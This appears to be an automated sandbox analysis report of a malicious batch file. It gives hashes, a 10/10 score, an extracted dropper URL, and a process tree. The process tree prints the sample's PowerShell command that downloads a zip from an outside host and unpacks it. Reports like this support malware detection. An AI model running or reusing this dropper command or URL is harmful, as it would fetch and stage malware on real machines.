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Analysis

  • max time kernel
    1376s
  • max time network
    1166s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2023, 00:56

General

  • Target

    tesy - Copy (14).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3208

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ef5ef35c3059825861b16409862d0e3d

    SHA1

    cde5311765478b1bcf309219c1a86a0238612099

    SHA256

    53df4a6c07213c72fa9c8f1e6c20d5a771d587744f775b4d45b647c1f890cc4b

    SHA512

    3c5814f9f94f4127f175b79e9d95eb7426c67b2d593ef6880c62cc3541d36142b9cb7391e3eac58fe45991d4e5fa7f979c96cba91da2354b7f56d8a2bb76dd20

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqxu2k5u.p5i.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/792-16-0x0000023B6E3F0000-0x0000023B6E400000-memory.dmp

    Filesize

    64KB

  • memory/792-11-0x0000023B6E3F0000-0x0000023B6E400000-memory.dmp

    Filesize

    64KB

  • memory/792-13-0x0000023B6E3F0000-0x0000023B6E400000-memory.dmp

    Filesize

    64KB

  • memory/792-14-0x00007FF913710000-0x00007FF9141D1000-memory.dmp

    Filesize

    10.8MB

  • memory/792-15-0x0000023B6E3F0000-0x0000023B6E400000-memory.dmp

    Filesize

    64KB

  • memory/792-12-0x0000023B6E3F0000-0x0000023B6E400000-memory.dmp

    Filesize

    64KB

  • memory/792-19-0x00007FF913710000-0x00007FF9141D1000-memory.dmp

    Filesize

    10.8MB

  • memory/792-10-0x00007FF913710000-0x00007FF9141D1000-memory.dmp

    Filesize

    10.8MB

  • memory/792-0-0x0000023B6E3B0000-0x0000023B6E3D2000-memory.dmp

    Filesize

    136KB

  • memory/3208-31-0x00000251D5330000-0x00000251D5340000-memory.dmp

    Filesize

    64KB

  • memory/3208-32-0x00000251D5330000-0x00000251D5340000-memory.dmp

    Filesize

    64KB

  • memory/3208-30-0x00007FF913710000-0x00007FF9141D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3208-34-0x00000251D5330000-0x00000251D5340000-memory.dmp

    Filesize

    64KB

  • memory/3208-36-0x00007FF913710000-0x00007FF9141D1000-memory.dmp

    Filesize

    10.8MB